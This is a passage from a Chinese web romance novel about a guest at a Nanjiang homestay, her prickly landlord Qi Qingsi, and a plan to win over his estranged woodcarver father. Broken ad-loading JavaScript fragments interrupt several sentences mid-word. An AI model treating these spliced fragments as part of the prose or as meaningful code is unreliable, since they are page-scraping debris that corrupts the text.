只是反驳的话还没说出口,童欣瑶腾腾地爬了楼梯上来。 童欣瑶不满地看着他们两人:“你们在这儿干嘛呢?这么长时间不下来?” 话音落,她拉着孟冬愉的胳膊就往楼下走:“走啦冬天姐姐,我都快要饿死了。” 一路被童欣瑶带到餐桌,先前有过一面之缘的胡杭笑呵呵地向她打招呼:“冬天姐姐,别不好意思,就当自己家。” 到了这一步,再拒绝下去,就显得她不够识趣了。 孟冬愉叹了口气,在餐桌前落座。 桌上的菜都是南江的特色菜,清甜口,色香味俱全。 身边的童欣瑶再度发挥主人翁意识,忙不迭给孟冬愉夹菜。 生怕她客气,恨不得每道菜都让她吃光。 对面的胡杭看不过去,开玩笑般问祁清肆:“肆哥,小公主是不是有什么把柄落在冬天姐姐手里了?” “她见到漂亮的恨不得挂人家身上。”祁清肆看了眼孟冬愉,对童欣瑶的举动见怪不怪地评价,而后又睥了胡杭一眼,“你多大了,跟着人喊姐姐也不害臊?” 童欣瑶也趁机补充:“说多少次了,我颜控,对漂亮姐姐完 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 全没抵抗力。” 胡杭的心思此刻全然在祁清肆说的年龄上面,他满脸不解:“肆哥,我比你还小一岁呢,冬天姐姐年龄还没你大?” 祁清肆没搭腔。 没得到他的回答,胡杭开始向孟冬愉求解。 和孟冬愉就这么你问我答地熟稔起来,胡杭也像是打开了话匣子,把自己的家底翻了个底朝天。 胡杭家靠酥饼点心发家,如今分店遍布南江,是南江的百年老字号。 他今年六月份大学毕业,在父母的强烈要求下,回来接手家里的营生。 但他对管理这些家族企业并不感兴趣,每天都在浑水摸鱼,胡父胡母既生气又拿他没辙。 孟冬愉觉得胡杭和童欣瑶像是一对欢喜冤家,有趣又单纯。 比祁清肆讨喜太多。 说起点心,胡杭又开始滔滔不绝:“冬愉姐,我昨天拿来的茶酥你有吃到吗?” 今天早上吃过,孟冬愉认真地回忆了一下它的口感。 外皮酥薄,挂着淡淡的茶香,甜而不腻。 孟冬愉点头,给了他一个正面的反馈:“味道很好。” 得到了认同,胡杭笑呵呵地接着开口:“今年南江的桂花也不知道什么时候开,我爸妈做的桂花糕更是一绝。” “冬愉姐,你打算在这里住多久啊?到时候你还在这的话,我一定拿来给你尝尝。” 孟冬愉对于住多久不置可否,只是礼貌道谢,说:“我也希望能有机会尝到叔叔阿姨做的桂花糕。” 只顾着和孟冬愉聊天,胡杭饭菜没吃几口。 他对孟冬愉方才的话回应般点了点头,而后拿起筷子,去夹盘子中的最后一只蒜蓉开背虾。 还没夹起来,另一双筷子先落了下去。 祁清肆挑眉看他,反客为主:“和我抢啊?” 不说还好,经祁清肆这么一说,男人之间的那点好胜心在此刻燃起。 胡杭死死地摁着筷子,丝毫不让:“明明是我先夹的。” 童欣瑶翻了个白眼,吐槽道:“你们幼不幼稚?” 胡杭依旧不服气,把孟冬愉扯了进来:“冬愉姐,你来作证,是不是我先夹的?” 祁清肆整个人依旧懒洋洋的,但拿着筷子的那双手青筋凸起,很明显在用力。 他似笑非笑地盯着她,缓缓开口:“孟冬愉,和他熟还是和我熟?” 莫名其妙的一场较量。 孟冬愉把碗中的最后一口饭吃完,依旧置身事外:“我吃饱了,你们继续。” 童欣瑶实在看不下去,提了个自认为很和平的解决方案:“哎呀,你们别争了,最后一只给我好吧?” 趁着胡杭拒绝之际,祁清肆哼笑一声,以迅雷不及掩耳之势,将虾夹到自己碗中。 蒜蓉开背虾争夺战以胡杭失败告终。 对于胡杭来说,这丢掉的不是一只虾,而是男人的脸面。 他气愤地把筷子拍到餐桌上,指名道姓:“祁清肆,这盘菜放了这么久不见你动一下筷子,抢来的香是不是?” 祁清肆也不恼,勾着唇角将虾肉吃掉,漫不经心地回应:“哪里抢了?本来就是我的。” 5. 不熟 来南江的第一顿午饭,在吵吵闹闹中吃完。 饭后,胡杭被胡父胡母喊了回去。 孟冬愉帮着童欣瑶一起将餐桌收拾好,洗碗机运转的时候,一对情侣手牵手进来。 两人年纪都不大,是一号房的租客。 童欣瑶热络地和他们寒暄了几句后,女生扯了扯身旁男生的胳膊,示意他讲正事。 男生意会,大大方方开口:“我们下周租约到期,到时候就打算离开南江了。” “想问一下,我们房间的那个木雕小老虎,能不能带走啊?” “我们很喜欢这个摆件,但是找了很多家都没找到同款。” 童欣瑶看了眼在沙发上坐着,正低头玩手机的祁清肆,帮他拒绝:“不好意思啊,这些木雕是我们老板的宝贝,实在送不了。” 闻言,女生有些不甘心,接着补充:“它的香味很好闻,我真的很喜欢,我们愿意花钱买下来的。” 童欣瑶不忍心继续拒绝,她抬手指了指沙发那边,把矛头引了过去:“我也做不了主,你们要不找我老板商量?” 话音刚落,祁清肆头也没抬地吐了两个字:“不卖。” 童欣瑶笑着打圆场:“这些木雕对我们老板真的很重要,他舍不得卖的,要不你们去网上搜搜同款?” …… 完美的服务态度和一系列真诚的解决方案,最终让小情侣租客毫无怨言地上楼去。 目送他们离开,童欣瑶有些咬牙切齿:“祁清肆,不卖就不卖,你态度就不能好一点?” 祁清肆不置一词,依旧懒散地坐着,低着头看手机。 但周身气压却好像有些低。 抱怨没得到回应,童欣瑶又拉着孟冬愉喋喋不休:“冬天姐姐,我真的太难了。” “每次顾客一提起这些摆件,祁清肆就要冷脸,害我还要不停给人解释。” 孟冬愉敏锐地捕捉到她话里的关键信息:“每次?是有很多人问吗?” 话出口后,孟冬愉又意识到很多人问也不足为奇。 毕竟她也很喜欢那个沉香木雕摆件。 童欣瑶狠狠点头,继而又叹了口气:“太多顾客想要那个摆件了,好些人连问都不问就直接拿走,那一套摆件原本有十二个,现在只剩八个了。” 孟冬愉房间的是一只兔子,一号房刚刚说是一只老虎。 十二个,应该是十二生肖。 她本来以为这些摆件是民宿特意找人定制的装饰品。 符合民宿特色,又有记忆点,心底还暗暗夸赞这是个不错的小巧思。 不曾想,这些摆件只有一套,不送也不卖。 孟冬愉看了眼心情似乎不怎么好的祁清肆,问童欣瑶:“既然很重要,那为什么还要将它们摆到大家的房间里去?” 想要展示的话,放到柜台或者客厅展示,不是更好? 童欣瑶咬了咬嘴唇,欲言又止:“要不你还是问他吧。” 祁清肆闻声抬头,仿佛刚听到她们讲话一样,挑眉:“问我什么?” 孟冬愉没搭腔,错开他的视线,转移了话题:“欣瑶,侧厅前台的电脑,能借我用用吗?” 童欣瑶边把洗碗机中的碗碟移到橱柜中,边问:“用电脑做什么啊?” 孟冬愉帮着她一起整理餐具,如实回答:“写份策划书。” 童欣瑶不解:“怎么都出来旅游了,还要工作啊?” 孟冬愉笑了笑,没解释,只是问道:“方便借我用一下吗?” 童欣瑶想都没想,就点头应下:“可以。我等下和你一起过去。” 被冷落在一旁的祁清肆,面色不爽地插话进来,带着质问:“童欣瑶,那个电脑连着民宿的监控,又开着民宿后台,是让客人用来工作的?” 童欣瑶扬声反驳:“用一次怎么了?” 祁清肆嗤笑一声,从沙发上起身,看了眼孟冬愉:“在这儿等着。” 还没弄明白他话里的意思,就见他迈着步子上了楼。 餐具刚整理好,童欣瑶口袋中的手机铃声响起,她擦干手,迫不及待地按了接听。 手机放到耳边,她语调比平日里更软了一些,像是在撒娇:“老童同志,想我啦?” 话音落,她又指了指门外,向孟冬愉解释:“我爸爸打来的,我出去接个电话。” 孟冬愉点头示意,心底却有点泛酸。 家庭和睦,父母恩爱,被千娇万宠长大的小姑娘,又怎么会不讨人喜欢? 思绪刚开始发散,就被祁清肆下楼的脚步声打断。 他手中拎了个深空灰的笔记本电脑,慢悠悠走到她面前,抬手递给她:“密码1222。” 用笔记本确实比前台的台式电脑更方便,孟冬愉没拒绝,接了过来,开口道谢:“多谢。” 没等祁清肆应声,她的注意力又回到他方才说的密码上——1222。 孟冬愉很多电子设备的锁屏密码也是这个,有些巧合。 她下意识问:“1222有什么特殊的含义吗?” 像是知道她会这么问一样,祁清肆面上没有任何迟疑,漫不经心地开口:“冬至,算特殊吗?” 孟冬愉抿着唇角点了点头,没再问为什么他要用冬至日期做锁屏密码。 然而,祁清肆却没想着结束话题。 他挑起眉尖接着反问:“怎么,这么惊讶,是对你有什么特殊含义?” 孟冬愉摇头否认:“没有,随便问问。” 祁清肆勾着唇角看了她一眼,神色不明,却没再多说什么。 气氛冷场之前,孟冬愉拿着电脑再次道谢,继而转身上楼。 刚走到楼梯口,就被他喊住:“孟冬愉,我这个电脑挺贵的。” 他刚才把电脑递过来时,孟冬愉就知道他这台电脑价格不便宜。 毕竟,笔记本上印着某知名品牌大大的logo,还是象征着顶配的Pro版本。 只是他现在喊住她说这些,有些莫名其妙。 孟冬愉回头,有些不明所以:“什么意思?” “你给我顺走了怎么办?”祁清肆没骨头似的倚在沙发靠背上,眼睛中染着点戏谑,一点点加重语调,“毕竟,我们又不熟。” 孟冬愉:“?” 就知道他主动借电脑给她,没安什么好心。 一天的相处下来,孟冬愉也大概摸透 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了他的性子。 吃软不吃硬的傲娇拽王。 还总是想要逞一些口舌之强。 幼稚鬼一个。 孟冬愉试图和他讲道理:“租金押金都交了,我还能跑路?” 祁清肆轻哼:“我这个电脑可比你租金贵多了。” 孟冬愉没兴致因为一个电脑和他来回拉扯,她走到他身边,把电脑塞回他手中:“那还给你。” 话说完,她转身就走,却被他扣住了手腕。 手掌刚落到她的皮肤上有些温热,而后开始变得灼人。 孟冬愉回头,视线落到手腕上一瞬,又抬眼看他。 祁清肆不自然地松开了手,耳尖却藏不住地泛红。 他清了清嗓子,嘴里依旧是不饶人:“孟冬愉,你这个人怎么这么死板啊?” “不先问问我要怎么办吗?” 孟冬愉试着让自己耐心一点,于是顺着他的话应声:“那你说怎么办?” 得到了满意的反应,祁清肆笑了声,垂眼盯着她:“两个选择。” 还在卖关子。 孟冬愉皱了皱眉:“哪两个?” 祁清肆从口袋里摸出手机,再次点开微信二维码,反手递到她面前:“第一,加我联系方式,方便我能随时联系上你。” 理由想得很蹩脚,但却不好反驳。 招蜂引蝶的海王一个,目的还是想搭讪。 这种人孟冬愉遇到过很多个,大多数都是仗着有点帅,处处撩拨,妥妥的渣男。 孟冬愉心底的刻板印象,促使她对他的行为再次做了评价。 她秉持着对这种行为敬而远之的态度,径直掠过第一个选择,问他:“第二个呢?” 祁清肆不以为意地收回手机,下巴点了点客厅的桌椅:“第二,楼下办公,在我的视野范围内使用。” 第二个选择也有些离谱。 孟冬愉抬眼看他:“你电脑里是不是有什么见不得人的东西,怕我偷看?” 似乎没料到她会这么问,祁清肆愣了一下,而后勾着唇角坦荡承认:“还真有。” 孟冬愉:“……” 面对他的坦诚,孟冬愉弯着唇角假笑承诺:“放心,除了word以外,我不会翻你任何文件。” 祁清肆盯着她点了点头,说出的话却与动作截然相反:“不信。” 孟冬愉拗不过他,又想着尽快把策划方案搞出来,最后还是选择了在楼下客厅使用他的电脑。 毕竟也不是什么需要保密的项目,而且孟冬愉自认为专注力还算可以。 她认真做一件事情时,很少会被外界或者身边的人打扰到。 刚找了个位置打开电脑,就看到童欣瑶打完电话推门进来。 与她刚刚出门接电话的状态有些不同,回来时看着有些心事。 童欣瑶走到他们身边,犹豫了片刻,还是开了口:“祁清肆,我爸妈下周四过来。” 祁清肆似乎没察觉到她的异常,挑眉问道:“接你回去?” 见他没理解她话里的意思,童欣瑶再次提醒:“下周四不是舅妈的……” 话没说完,就被祁清肆打断:“知道了。” 6. 忍痛 孟冬愉从电脑中抽神回来时,门外天已经黑了。 她将方案从头到尾再次润色了一遍,登上微信,发给了自己的手机。 而说好要盯紧电脑的祁清肆此刻正坐在不远处的沙发上,长腿大喇喇地敞开。 他手掌撑着头,手肘支在沙发靠背上,眼睛闭着。 不知道是真睡着了,还是在假寐。 孟冬愉把电脑关机,走去过,轻手轻脚地放到他身边。 然而,转身离开的时候,她的腿被茶几的一角绊了一下,身体失去了重心,继而整个人倒在了沙发上。 柔软的海绵因重力下陷又反弹回来,哪怕孟冬愉忍着腿上的痛意没吱声,沙发上的动静还是迫使祁清肆睁开了眼。 似乎还没睡够,他神色困倦,声音也染着刚睡醒的哑意:“孟冬愉,你喊人起床的方式还挺特别。” 和他距离不算很远,他那双漆黑的眼睛直勾勾地盯着她,辩不出太多情绪。 孟冬愉没搭腔,直起身来说了句抱歉。 祁清肆也跟着坐起来,视线从她的脸上落到她的腿上,问道:“痛吗?” 孟冬愉对疼痛的忍耐度很高,膝盖上的这点痛意不算多么难忍。 面对他的关心,她面无表情地摇了摇头:“没事。” 祁清肆也没再追问什么,他低头看了眼时间,又抬头看她,漫不经心地转移了话题:“晚上想吃什么?” 像唠家常一般的问话,语气熟稔。 孟冬愉有一瞬间怀疑他们的关系不是房东与租客,而是至交好友或者说是……情侣。 这个念头的产生,让孟冬愉心底莫名地恐慌。 她从沙发上起身,试图与他划清界限:“不用了,我打算出去逛逛。” 祁清肆像是丝毫没察觉到她的抗拒,目光再次回到她的膝盖上:“需要司机吗?” 他越是直接,孟冬愉越是想要回避。 她语气再次染上淡淡的冷:“不需要。” 见状,祁清肆扯起唇角点了点头,带着点自嘲:“也是,毕竟我们不熟。” 秋意街华灯初上,街道两旁也支起了不少小吃摊。 孟冬愉本就没太多的口腹之欲。 她象征性地找了家南江特色的摊位,填饱了肚子。 方才被撞到的膝盖还在隐隐作痛。 日子还长,孟冬愉也没打算一天就把南江逛完。 饭后沿着秋意街走了一会儿,简单消了消食,便启程回了民宿。 路过楼下客厅时,童欣瑶正在吃煮好的泡面。 孟冬愉打了个招呼,打算上楼,却被童欣瑶喊住。 童欣瑶口中的面咽下去,指了指楼梯口的储物架,推醒她:“冬天姐姐,那上面有你的外卖,别忘了拿。” 孟冬愉顺着她手指的方向望了过去,储物架顶层放了一个蓝色的纸袋子,上面还印制某药店的logo。 她有些疑惑:“我的?” 童欣瑶点头,而后也同孟冬愉一起疑惑:“对啊,外送员送过来时,喊的是你的名字。” “难道送错了?” 孟冬愉走过去拿起来看了眼上面的订单。 是她的名字和她在民宿平台上预留的手机号。 她拆开。 里面是一瓶跌打损伤喷雾。 腿上的痛意证实了心底的猜测。 孟冬愉鼻尖忽然有点泛酸。 但是过往的经历提醒她,不要再让自己沦陷在他人给予的温暖中,无法自拔。 她敛了敛眉,问童欣瑶:“你们老板呢?” 童欣瑶把面咬断,口齿不清地摇了摇头:“不久前看他出了门,不知道去哪了。” 孟冬愉掏出手机,按照订单上的药品金额,给童欣瑶转了账:“麻烦你帮我把药钱转给他。” 应该是看出了孟冬愉情绪不太好,童欣瑶顺着她的话点了点头,而后又有些关心地问道:“冬天姐姐,你哪里受伤了?” 孟冬愉解释:“不小心绊了一下,没事。” 越是去在意,痛感就越是被放大。 上楼时膝盖摩擦裤子,孟冬愉感到了前所未有的疼痛。 好像比当初被拳打脚踢时还要痛。 那时候的她不知道世界上还有瘀伤药这种东西,总觉得忍一忍就好了。 看着瘀痕从青绿变成黑紫,再慢慢褪成黄棕,最后从皮肤上消失。 也就半个月的时间。 初期的疼痛忍一忍,慢慢也就麻木了。 孟冬愉攥着那瓶喷雾,一个台阶一个台阶地往上迈,到达二楼时,泪水再也忍不住。 只是太痛了。 只是生理性的泪水。 她把眼泪抹干,轻轻扯了扯嘴角,暗示般地告诉自己,不要去贪恋那些突如其来的温柔。 与昨晚的一夜无梦不同,来南江的第二晚,孟冬愉迷迷糊糊做了很多梦。 梦中的场景变化万千,从小时候到初高中再到大学最后是工作,梦中换了一批又一批的人。 可她无论怎么努力都找不到存在感,得不到一点认同。 梦中的她迫切地去讨好,试图获取他人的关心,最后换来的只是冷眼相对,恶语相加。 孟冬愉从巨大的心酸中醒来时,枕头已经湿了大半。 她起身,拉开窗帘,把枕套摘了,将枕芯摊到飘窗上晾晒。 凌晨五点钟,太阳初升,窗外枝头不知名的小鸟,叽叽喳喳叫个不停。 眼前鲜活的一切都在告诉她,这里没有那些乌烟瘴气。 这里是新的开始。 孟冬愉洗了把脸,又把洗好的枕套晾晒出来,而后换了衣服下楼。 刚出民宿大门就碰到了祁清肆。 他上身黑色背心,下身运动短裤,露出的臂膀和腿部的肌肉线条都紧实有力。 额头上挂着细密的汗珠,额前的碎发也被汗水打湿。 应该是刚运动完回来。 视线相撞,孟冬愉抿了抿唇角,先开了口:“昨天,谢谢你的药。” 闻言,祁清肆揉了揉手腕,哼笑出声:“谢我做什么?你自己花钱买的。” 话里话间都在不满她昨天托童欣瑶转账给他这件事情。 孟冬愉没再搭腔,从他身前让开位置,侧身掠过他径直往门外走。 没走两步,又 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 被他喊住:“孟冬愉,我是哪里得罪你了吗?” 得罪? 明明是他在对她的道谢阴阳怪气,怎么还反过来质问她? 面对他的强词夺理,孟冬愉也不想再解释下去,只是面无表情地回头:“没有。” 祁清肆盯着她的眼睛,一字一句问道:“那为什么,你对童欣瑶,对胡杭,甚至对祁振强的态度,都比对我要好?” 有吗? 都才认识一天而已,哪里谈得上态度好不好? 孟冬愉蹙了蹙眉:“你想太多。” 祁清肆咬着牙点头笑了下,重复她的话:“我倒是希望我想太多。” 片刻后,他深吸了口气,再次开口:“冰箱里有冰袋。” 突然换了话题,孟冬愉有些懵:“什么?” 祁清肆瞥了她一眼,而后转身往院子里走,只留一句提醒:“敷下眼睛。” 不知道是不是昨晚没睡好的缘故,孟冬愉原地愣了片刻,才反应过来他话里的意思。 她起床洗漱的时候照了镜子,眼睛确实有些肿,但是她觉得没那么明显,就没太在意。 现在被他点了出来,孟冬愉心底忽然有些慌。 就好像她刻意营造出来的一副面具,被人戳破了一样。 不过这种慌乱只停留一瞬,便被她找了个借口说服了自己。 只是没睡好而已,早起眼睛肿脸肿是很正常的一件事情。 她出了小巷,随便吃了点早餐,找了家打印店将昨天写好的策划书打印了出来,而后去了祁振强的那家木雕店。 孟冬愉过去的时候,祁振强正坐在门口吃早饭。 店里摆的还是那些古朴经典的雕刻品,陈列上也不够美观。 孟冬愉接过祁振强递来的凳子坐下,把手中的策划书递给他。 祁振强象征性地翻了几下,又还了回去:“姑娘,这种文绉绉的东西我也看不懂,你不如直接说我要怎么做。” 从他口中得到了想听的话,孟冬愉笑了下,缓缓开口:“师傅,我觉得您现在需要推陈出新。” 祁振强闻言应声:“怎么说?” 孟冬愉想了一下,尽力委婉地表达:“新一代消费者的喜好已经变了,您店里的这些产品,有些不太符合年轻消费者的眼光。” 闻言,祁振强冷哼一声:“去雕些他们喜欢的那些猫猫狗狗,有什么技术含量?” 他摸了摸身旁纹路繁复的花窗:“这是我们祖祖辈辈传下来的技艺,我守着这家店是想传承下去,而不是为了迎合外界让传统技艺流失。” 从祁振强的话中能够听出来,他自己也知道目前雕刻的这些不是主流产品。 他之所以这么坚持不懈,只是不想百年传承下来的技艺在他这里给断掉。 孟冬愉抿了抿唇角,试图去说服他:“创新并不意味着技艺的流失,利用创新吸引来更多人,反而更利于传承,而且……” 祁振强对她的观点持不认同态度,打断了她的话,看着已经没了耐心:“不懂别瞎指挥。” 他摆了摆手,又开始赶客:“算了,不指望你一个小姑娘能帮上什么忙,赌约取消,你走吧。” 7. 脸红 第一次沟通以失败告终,孟冬愉也意识到往日那些商业化的谈判经验在此刻派不上用场。 这几年的工作让她形成了利益最大化就能打动人心的固化思维。 还是第一次遇见宁愿赔钱也要坚守下去的人。 祁振强态度抗拒,孟冬愉没再多说什么,礼貌地点了点头,起身离开。 早上的秋意街比晚上冷清太多,孟冬愉沿着街道漫无目的地往前走。 本来打算和祁振强沟通好后,就去南江的著名景点逛逛。 不曾想,她高估了自己的能力也低估了祁振强的执着。 其实赌不赌又有什么重要的呢? 她来南江只是旅游,干嘛非要向一个素不相识的木雕店老板证明自己呢? 脑海中想要放弃的想法滋生,但是心底的那股执拗驱使她再去试试,不能就这么服输。 昨晚没休息好今早又早起,此刻脑子本就有些混沌。 没了闲逛的心思,孟冬愉一路走回民宿,上楼回了房间。 身体扑到床上的那一刻,孟冬愉余光中瞥见了床头的兔子木雕。 她忽然想起昨天童欣瑶说的那些话。 一种猜测油然而生。 孟冬愉看了眼时间,七点五十五分。 不知道童欣瑶起床了没有。 她拿着房间的木雕摆件下楼转了一圈,楼下只有三号房的租客在吃早餐。 没见到童欣瑶,也没见到祁清肆。 三号房的租客是个短发姑娘,在这里住了差不多有半个月了。 她见孟冬愉下楼又上楼,主动和孟冬愉搭了话:“姐妹,你是在找什么吗?” 孟冬愉停下打算上楼的脚步,朝她礼貌地笑了下,问她:“这家民宿的小客服,你今天有见到吗?” 短发姑娘将最后一口三明治吃完,看了眼腕表,笑道:“她这个点应该还没起。” 根据童欣瑶昨天的起床时间,孟冬愉也大概猜到了她还没起。 她今天早上出门时碰到了祁清肆,他应该已经起了,但是楼下也没见到人。 孟冬愉接着问:“那你有看到民宿老板吗?” 短发姑娘起身收拾餐碟,抬手指了指楼上:“应该在房间吧?你要有急事的话去敲下门问问看?” 前天入住的时候,童欣瑶给她介绍过楼上各个房间的情况。 祁清肆的房间就在楼上的拐角处。 孟冬愉走到他的房间门口,深吸了一口气,而后敲响了他的房门。 屈指扣了三下,等了好一会儿,房门才从里面被打开。 祁清肆应该是刚洗好澡,头发湿漉漉的还在滴水。 他身上套了件灰色睡衣,拉开门时正单手扣着扣子。 见到门外站着的是孟冬愉,他先是有些惊讶地挑了下眉,继而勾着唇角吐了两个字:“难得。” 他话总是说得不清不楚,让孟冬愉有些不解:“什么难得?” 祁清肆一边将睡衣扣子从胸腔处扣到领口下第二颗,一边看着她懒散应声:“难得你主动来找我。” 头发上的水珠一滴一滴地落到他的肩颈,轻薄的丝绸质地的灰色睡衣被水滴氤氲出一块又一块的深灰色,贴在他的身上。 孟冬愉莫名联想起,之前在网上刷到的一些湿身照。 她不自然地别开眼去:“你先忙,我等会儿再来。” 话音还没落,祁清肆就应声:“不忙。” 孟冬愉看着他这副“衣衫不整”的模样,觉得现在不是一个讲事情的好时机。 她抿了抿唇角,提醒他:“你先收拾一下。” 闻言,他微微俯身,与她靠近了一些,眼睛直勾勾地盯着她,缓缓开口:“孟冬愉,你害羞什么?” 不知道是不是刚洗过澡的缘故,他周身仿佛蒙了一层冷雾,夹杂着淡淡的檀木幽香,扑面而来。 他的睡衣衣领敞开,此刻的角度,视线稍微往下,就能看到弓着腰的、流畅的肌肉线条。 孟冬愉后知后觉地感受到脸颊有些微微发烫。 这很不正常。 她转身试图去逃避,却被祁清肆捉住了手腕。 他染着笑意的声音从身后传来,有点激将的意思:“孟冬愉,这可不像你。” 他的掌心灼热,力道却不大。 孟冬愉轻而易举地就挣脱开来。 突然靠近的惊吓促使心跳加速,再促使血液循环,而后促使脸颊本能泛红,这很正常。 她不会对他有任何想法,也不能像心虚似的逃避。 在心底将自己说服,孟冬愉转身,看着他一点点被打湿的衣服,面无表情地提醒:“你确定不先擦一下头发?” 祁清肆视线落到她手中的木雕摆件上,不以为意地轻笑出声:“你一直不讲正事儿,我怎么回去擦?” 他坚持要她先讲事情,孟冬愉不再和他东拉西扯,她把手中的木雕兔子举到他面前,开门见山地问道:“我方便看看和它配套的其他几个木雕吗?” 祁清肆没搭腔,转身慢悠悠往房间走。 他从衣架上捞起毛巾擦了擦头发,而后回头看还在原地站着的孟冬愉:“不进来吗?” “不是要看木雕?” 不能拿出来给她看吗? 孟冬愉一直觉得卧室是一个人最隐秘的私人场所。 进一个还不算很熟的成年男性的房间,怎么看都有些不妥。 像是看出了她的犹豫,祁清肆眼睛中挂着一丝戏谑的笑意,语调也带着点揶揄:“放心,我房间里没什么见不得人的东西。” “而且,大门开着,你怕什么?” 既然卧室的主人都不介意,孟冬愉也没再故作矫情,面不改色地走了进去。 他的房间的装修风格和她现在所住的房间一样,统一的新中式风。 只是窗帘床单被套等布艺品这些都是沉闷的黑灰色。 房间内私人物品很少,看着不像是他长期居住的地方。 祁清肆扬起下巴指了指书柜上的三个木雕摆件,提醒她:“你要看的东西在那儿。” 孟冬愉顺着他指的方向望过去,看到书柜的中间层摆了一个鼠,一个狗,和一个蛇。 她走过去,将手中的兔子摆件和它们摆在一起,而后陈述般问道:“剩下的那些是在别的租客房间吗?”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 祁清肆散漫地点头,似乎想起了什么,面色有些不爽:“嗯,还被顺走了四个。” 孟冬愉看着眼前的四个摆件,又问了另一个问题:“有它们全套的照片吗?或者,我能拍张照片吗?” 祁清肆吊儿郎当地倚在墙上,闻言挑眉:“怎么?你也喜欢?想搜一个同款?” 孟冬愉摇了摇头,看着他的眼睛,开诚布公:“打算用它们打一次感情牌。” 祁清肆反应了片刻,而后嗤笑出声,带着点质问:“利用我啊,孟冬愉?” 这两天相处下来,可以明显感觉到祁振强是个很古板执着的人,而祁清肆却总是给人一副玩世不恭的模样,他们之间存在着传统父子之间的矛盾。 祁清肆对木雕传承的态度谈不上多么正面,但是又对这几个摆件这么重视。 孟冬愉觉得正好可以从此处下手,利用父子感情去说服祁振强。 心底的猜测再一次得到证实,孟冬愉开口解释:“只是需要你帮忙提供一下照片,其他不需要你做什么。” 祁清肆扯了下唇角,眸中意味不明:“帮你对我有什么好处?” 孟冬愉不卑不亢地看着他:“也是在帮你自己。” 然而,祁清肆并不领情,像是忽然被戳到了痛处,态度也比方才差了一些。 他唇角挂着一抹讥讽的笑意:“很喜欢管人闲事儿是吗?” 明确了他的意向,孟冬愉没搭腔,试图结束话题:“不愿意的话当我没问。” 话说完,她没再多停留,转身就往门外走。 刚迈开步子,就又被他喊住:“孟冬愉,有求于人,你就不能说点好听的话?” 孟冬愉闻言回头,问得直白:“那你想听什么?” 祁清肆哼笑了声,拉开了书桌抽屉翻了翻,里面捏了张照片出来。 他走到她面前,将照片递给她,语调带着边不屑:“拿给祁振强好好看看。” 照片是一家三口和十二个木雕摆件的合照,照片中一对年轻的夫妻幸福地站在一起,身旁跟着一个五六岁的小男孩,笑得阳光灿烂。 根据三人的轮廓能大致判断出来,是祁振强和祁清肆他们一家人。 不过照片中祁振强的脸被人用马克笔涂黑了。 孟冬愉原本以为祁振强和祁清肆之间,存在的只是执拗父亲和嘴硬儿子的一些常见的误会和矛盾。 看着这张照片,才忽然间反应过来,他们之间的纠葛应该比想象中要深。 祁清肆很明显不愿意去缓和和祁振强的关系,对她利用父子情深去打感情牌这件事也很抗拒。 但他最终还是就这么把这张照片摊到了她的面前。 面对他反复无常的态度,孟冬愉总觉得有些事情在失去控制。 而且,涉及到复杂的内部家庭矛盾,她不再打算参与其中。 孟冬愉皱了皱眉,没去接那张照片:“不用了,我再想想别的办法。” 闻言,祁清肆咬着牙笑了下,带着点挑衅:“这就怂了?” 他拉过她的手腕,将照片强行塞到她的手中,盯着她的眼睛,一字一句道:“利用我就利用到底。” 8. 八卦 身体陷入柔软的被褥中,孟冬愉敞着胳膊,望着天花板上微微晃动的复古布艺吊灯,有些出神。 她一直觉得自己还算是一个清醒的人,知道自己该做什么不该做什么。 也懂得适时放弃。 但是此刻理智被裹挟,脑海中几种声音吵架似的,乱成一团。 她屈起胳膊去看右手中拿着的那张照片,黑色的涂抹痕迹越看越心慌。 理智告诉她,她不该参与其中。 这世界上有太多的家庭感情纠葛,她自己的都没解决好,不该去插手别人的。 印着桂花的吊灯被空调的冷风吹着,持续晃动。 像是有催眠效果似的,孟冬愉不知不觉间阖上双眼,睡了过去。 又是一场惊心动魄的梦。 梦中很多熟悉又厌恶的面孔一个个围着她,肆意嘲讽。 “要不是你,我也不会过得这么苦。” “她又丑又脏,像个假小子,我才不要和她玩。” “学习好有什么用?不如早点找个男人嫁了。” “四年就能坐到这个位置,你觉得她只靠能力?” …… 梦境的最后,所有人的面容合在了一起,化成了祁振强的脸庞。 他不屑地冷哼:“整天哭哭啼啼,赌什么赌?” 孟冬愉猛地睁开眼睛,冲动在此刻占据了上风。 面对别人的嘲讽,她一次次靠自己的能力反击了回去,这次不能就这么放弃。 原本混沌的脑子也在此刻明确了一个目标。 她只需要说服祁振强,而后用专业能力证明自己。 至于那些情感纠葛,她掺和其中之后,会发展到什么程度。 她都无所谓,也不在乎。 毕竟当事人说了,她可以利用他。 孟冬愉打开手机,看了眼时间,已经是中午十一点多。 她抬手又看了眼攥着的那张照片,叹了口气,而后从床上坐起,趿拉着拖鞋起身下楼。 刚走到楼梯拐角,就看到童欣瑶正扒拉着客厅的门,偷偷向外望。 孟冬愉走到她身后,轻轻拍了拍她的肩膀,却把她吓得一个激灵。 童欣瑶转头确认来人是孟冬愉之后,做贼心虚似的拍了拍胸脯:“吓死我了。” 她的反应成功勾起了孟冬愉的好奇心。 孟冬愉试图向外看去:“怎么了?” 可能是看她讲话的声音有些大,童欣瑶食指竖在唇边,比了一个“嘘”的手势,压着嗓子:“冬天姐姐,我等会儿再和你说。” 话音落,她又让出点位置,热情地邀请孟冬愉一起:“我们先偷偷吃个瓜。” 八卦本就是人之天性,童欣瑶又搞得这么神秘。 孟冬愉一时间忘了下楼的目的,鬼使神差地凑了过去。 透过门缝向外望,不远处面对面站了两个人。 是祁清肆和一个面容陌生的女生。 女生一身白色连衣裙,长发披肩,神色温柔,断断续续地向祁清肆说着什么。 祁清肆双手抄兜,懒散地靠在墙上,整个人吊儿郎当的,面上倒没什么不耐烦。 女生声音不大,又加上院子里水池的喷泉声哗啦作响,她具体说了些什么听不太清晰。 可能是怕孟冬愉不了解事情的前因后果,吃瓜吃得稀里糊涂。 童欣瑶在她身边贴心地小声提醒:“那位小姐姐在表白。” 其实她不提醒,孟冬愉大致也能猜得出来。 